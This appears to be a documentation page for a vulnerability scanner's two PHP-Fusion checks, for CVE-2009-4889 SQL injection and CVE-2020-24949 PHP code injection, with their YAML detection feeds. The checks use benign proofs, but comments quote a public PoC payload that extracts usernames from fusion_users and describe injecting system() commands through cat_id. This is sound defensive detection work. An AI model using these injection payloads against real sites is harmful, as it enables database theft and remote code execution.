PHP-Fusion — 2 vulnerability checks

noctis ships 2 vulnerability checks for PHP-Fusion, covering 2 CVEs; each one has to observe the bug on the live service before it reports a finding.

← All products · Feeds on GitHub

PHP-Fusion Book Panel books.php bookid SQL Injection

CVECVE-2009-4889
Severityhigh · CVSS 7.5
Categorysqli — SQL injection
Serviceshttp, https
Detectionscript, set_var, http_request, match · highest QoD 97
Feedtests/vulnerabilities/php-fusion/CVE-2009-4889.yaml

The Book Panel add-on for PHP-Fusion puts the bookid parameter of books.php unquoted into the SQL query that loads a book and prints the book's title it returns. An unauthenticated attacker can read the whole database, including the users table and its password hashes.

This check requests books.php under infusions/book_panel/ and book_panel/, at the web root and the usual PHP-Fusion install directories, with a bookid that is a UNION SELECT of an expression multiplying two random numbers. The vulnerability is confirmed when the page shows the product computed by the database, which never appears in the request. No table data is read and nothing is written.

How noctis detects it

  1. Parses / computes the next value with a Rhai script
  2. HTTP(S) request GET {{bp}}?&bookid={{sc.q}}
  3. Parses / computes the next value with a Rhai script
  4. Checks hit for books\.php$ → finding QoD 97: PHP-Fusion Book Panel books.php bookid SQL Injection (CVE-2009-4889)

References:

Feed source — tests/vulnerabilities/php-fusion/CVE-2009-4889.yaml
# CVE-2009-4889 — PHP-Fusion Book Panel infusion books.php bookid SQL injection.
#
# The Book Panel add-on (book_panel infusion) puts the bookid GET parameter
# unquoted into the SELECT that loads a book (6 columns) and prints the third
# column. Public PoC (EDB-8186, milw0rm 2009-03-09):
#     [path]/book_panel/books.php?&bookid=-1+union+select+1,2,user_name,4,5,6+from+fusion_users--
#
# Detection (QoD 97): for every candidate path, send
#     bookid=-1 UNION SELECT 1,2,a*b,4,5,6-- -
# with random 6-digit a, b, and require the 11-12 digit product a*b (not part of
# a longer number) in the page. The product is never in the request, so only an
# SQL engine that evaluated our expression can return it. Read-only: no table is
# referenced, nothing extracted, nothing written.
# No parentheses and no double quotes: PHP-Fusion 6.x maincore.php kills the
# request (empty page) when any GET value matches eregi("\([^>]*\"?[^)]*\)") or
# contains a double quote — a CONCAT(...) marker would be an FN on 6.x sites.
#
# Better than the source NASL:
#   - the NASL's fixed hex marker (0x53514c2d…, "SQL-Injection-Test") is replaced
#     by a value computed by the database from random operands (still without
#     parentheses, like the NASL payload);
#   - the NASL only probes <dir>/book_panel/books.php under the install dir found
#     by its PHP-Fusion detection. PHP-Fusion installs infusions under
#     infusions/, so the feed also probes <dir>/infusions/book_panel/books.php,
#     at the web root and the usual install directories (noctis has no separate
#     PHP-Fusion detection).
#
# Source: OpenVAS/Greenbone NVT 2009/PHPFusion_book_panel_module_sql_injection.nasl
# (OID 1.3.6.1.4.1.25623.1.0.100043, GPL-2.0-only).
uid: 49231f50-caee-4901-82ba-e45fa1f38574
name: "PHP-Fusion Book Panel books.php bookid SQL Injection (CVE-2009-4889)"
description: |
  The Book Panel add-on for PHP-Fusion puts the bookid parameter of books.php
  unquoted into the SQL query that loads a book and prints the book's title it
  returns. An unauthenticated attacker can read the whole database, including
  the users table and its password hashes.

  This check requests books.php under infusions/book_panel/ and book_panel/, at
  the web root and the usual PHP-Fusion install directories, with a bookid that is
  a UNION SELECT of an expression multiplying two random numbers. The
  vulnerability is confirmed when the page shows the product computed by the
  database, which never appears in the request. No table data is read and nothing
  is written.
cves: [CVE-2009-4889]
cvss: 7.5
severity: high
category: sqli
confidence_base: 0.30
tags: [php-fusion, phpfusion, book-panel, sqli, union-based, php]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2009-4889"
  - "https://www.exploit-db.com/exploits/8186"
  # OpenVAS/Greenbone NASL 2009/PHPFusion_book_panel_module_sql_injection.nasl (GPL-2.0-only)

steps:
  # ── Random operands, expected marker and the encoded bookid value ─────────
  - id: gen-proof
    action: script
    code: |
      let a = rand_int(100000, 999999);
      let b = rand_int(100000, 999999);
      #{ want: "" + (a * b),
         expr: a + "*" + b,
         q: "-1%20UNION%20SELECT%201,2," + a + "*" + b + ",4,5,6--%20-" }
    store_as: sc

  # ── Every step below runs once per candidate path (loop group) ───────────
  # Pre-initialise the reply: a refused connection must not leave store_as
  # unset (an undefined variable aborts the whole test).
  - id: init-resp
    action: set_var
    var_name: resp
    var_value: {status: 0, body: ""}
    loop:
      var: bp
      over:
        - "/infusions/book_panel/books.php"
        - "/book_panel/books.php"
        - "/php-fusion/infusions/book_panel/books.php"
        - "/php-fusion/book_panel/books.php"
        - "/phpfusion/infusions/book_panel/books.php"
        - "/fusion/infusions/book_panel/books.php"
        - "/files/infusions/book_panel/books.php"
        - "/files/book_panel/books.php"

  - id: probe
    action: http_request
    method: GET
    path: "{{bp}}?&bookid={{sc.q}}"
    port: "{{port}}"
    tls_insecure: true
    timeout_secs: 15
    store_as: resp

  - id: check
    action: script
    code: |
      let body = if type_of(resp.body) == "string" { resp.body } else { "" };
      // the product alone, not inside a longer number
      if ereg("(^|[^0-9])" + sc.want + "([^0-9]|$)", body) { bp } else { "" }
    store_as: hit

  - id: report
    action: match
    source: hit
    pattern: "books\\.php$"
    on_match:
      finding:
        title: "PHP-Fusion Book Panel books.php bookid SQL Injection (CVE-2009-4889)"
        description: "An unauthenticated request to the Book Panel books.php with bookid set to a UNION SELECT of a multiplication of two random numbers returned the product computed by the database: bookid reaches the SQL query unquoted, so an attacker can read the whole database, including user password hashes."
        remediation: "Remove the Book Panel infusion (no fixed release is known), or cast bookid with intval() / isnum() in books.php before it is used in a query."
        confidence_delta: 0.67
        qod: 97
        evidence: "{{hit}}?&bookid=-1 UNION SELECT 1,2,{{sc.expr}},4,5,6-- - returned the database-computed value {{sc.want}}"
      stop: true

PHP-Fusion downloads.php cat_id PHP Code Injection RCE

CVECVE-2020-24949
Severityhigh · CVSS 8.8
Categoryrce — Remote code execution
Serviceshttp, https
Detectionscript, set_var, tcp_connect, match · highest QoD 97
Feedtests/vulnerabilities/php-fusion/CVE-2020-24949.yaml

PHP-Fusion 9.03.50 and probably earlier, with "Allow PHP Execution" enabled, evaluate the cat_id parameter of infusions/downloads/downloads.php as PHP code (CVE-2020-24949), allowing unauthenticated remote code execution. This check injects the benign expression ${print(md5(N))} with a random N and confirms that the md5 digest computed by the target's PHP interpreter is returned.

How noctis detects it

  1. Parses / computes the next value with a Rhai script
  2. Raw TCP (TLS on HTTPS), sent verbatim: GET {{pf_base}}/infusions/downloads/downloads.php?cat_id=$%7Bprint(md5({{pf.n}}))%7D HTTP…
  3. Parses / computes the next value with a Rhai script
  4. Checks inj_resp.banner for [0-9a-f]{32} → finding QoD 97: PHP-Fusion downloads.php cat_id PHP Code Injection RCE (CVE-2020-24949)

References:

Feed source — tests/vulnerabilities/php-fusion/CVE-2020-24949.yaml
# CVE-2020-24949 — PHP-Fusion 9.03.50 downloads.php `cat_id` PHP code injection.
# Active detection ported from OpenVAS/Greenbone NASL
# 2021/php-fusion/gb_php_fusion_rce_vuln_apr20.nasl (GPL-2.0-only), with the
# Nuclei template http/cves/2020/CVE-2020-24949.yaml and Exploit-DB 49911.
#
# With the "Allow PHP Execution" setting enabled, the `cat_id` parameter of
# /infusions/downloads/downloads.php ends up in a string PHP evaluates, so the
# complex-syntax interpolation `${expr}` runs `expr` as PHP code. The NASL sends
# `cat_id=$%7Bsystem(<cmd>)%7D` with the `id` / `ipconfig` commands and greps
# the command output in the body.
#
# Benign proof (project rule: prove exploitation, never destroy): instead of an
# OS command, the feed injects `${print(md5(N))}` with a random per-run N. A
# vulnerable instance calls the PHP md5() function and prints the 32-hex digest;
# the feed recomputes md5(N) and requires that exact digest in the reply. The
# digest never appears in the request, so a page that merely reflects cat_id
# cannot match. Nothing runs in a shell and nothing is written on the target.
#
# Beyond the NASL:
#   - The NASL needs system(), so it misses hosts with system() in
#     disable_functions (a common hardening) although arbitrary PHP still runs.
#     md5()/print are never disabled, so this check covers them too.
#   - No quotes are needed (PHP-Fusion entity-encodes quotes in GET input): the
#     argument is a bare integer.
#   - The NASL only probes the install directory found by its PHP-Fusion
#     detection; noctis has no such detection, so the feed tries the web root
#     and the usual install directories and stops at the first hit.
#
# tcp_connect is used because reqwest would decode the %7B / %7D braces; the
# request goes out verbatim as HTTP/1.0, exactly as the NASL encodes it.
uid: 0a281393-e6c4-4d7e-a83c-842de34ee4b3
name: "PHP-Fusion downloads.php cat_id PHP Code Injection RCE (CVE-2020-24949)"
description: |
  PHP-Fusion 9.03.50 and probably earlier, with "Allow PHP Execution" enabled,
  evaluate the cat_id parameter of infusions/downloads/downloads.php as PHP code
  (CVE-2020-24949), allowing unauthenticated remote code execution. This check
  injects the benign expression ${print(md5(N))} with a random N and confirms
  that the md5 digest computed by the target's PHP interpreter is returned.
cves: [CVE-2020-24949]
cvss: 8.8
severity: high
confidence_base: 0.30
category: rce
tags:
  - php-fusion
  - phpfusion
  - code-injection
  - rce
  - intrusive
services:
  - http
  - https
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2020-24949"
  - "https://www.exploit-db.com/exploits/49911"
  - "OpenVAS/Greenbone NASL 2021/php-fusion/gb_php_fusion_rce_vuln_apr20.nasl (GPL-2.0-only)"
  - "https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2020/CVE-2020-24949.yaml"

steps:
  # ── Random operand and the digest the target must compute ────────────────
  - id: gen-nonce
    action: script
    code: |
      let n = rand_int(100000000, 999999999);
      #{ n: n, digest: md5("" + n) }
    store_as: pf

  # ── Every step below runs once per candidate install directory ───────────
  # Pre-initialise the reply: a refused connection must not leave store_as
  # unset (an undefined variable aborts the whole test).
  - id: init-resp
    action: set_var
    var_name: inj_resp
    var_value: {connected: false, banner: null}
    loop:
      over: ["", "/php-fusion", "/phpfusion", "/fusion", "/files"]
      var: pf_base

  - id: inject
    action: tcp_connect
    port: "{{port}}"
    send: "GET {{pf_base}}/infusions/downloads/downloads.php?cat_id=$%7Bprint(md5({{pf.n}}))%7D HTTP/1.0\r\nHost: {{target_host}}\r\nUser-Agent: Mozilla/5.0 (noctis)\r\nConnection: close\r\n\r\n"
    timeout_secs: 10
    store_as: inj_resp

  - id: verify
    action: script
    code: |
      let hit = false;
      if type_of(inj_resp.banner) == "string" {
        hit = stridx(inj_resp.banner, pf.digest) >= 0;
      }
      #{ hit: hit }
    store_as: chk

  - id: report
    action: match
    source: inj_resp.banner
    pattern: "[0-9a-f]{32}"
    condition: "chk.hit"
    on_match:
      finding:
        confidence_delta: 0.65
        qod: 97
        title: "PHP-Fusion downloads.php cat_id PHP Code Injection RCE (CVE-2020-24949)"
        description: >
          {{pf_base}}/infusions/downloads/downloads.php evaluated the PHP
          expression ${print(md5({{pf.n}}))} injected through the cat_id
          parameter and returned the digest computed by the target's PHP
          interpreter. This confirms unauthenticated remote PHP code execution
          (PHP-Fusion with "Allow PHP Execution" enabled).
        evidence: "PHP code executed — GET {{pf_base}}/infusions/downloads/downloads.php?cat_id=${print(md5({{pf.n}}))} returned md5({{pf.n}}) = {{pf.digest}}"
      stop: true

View these feeds on GitHub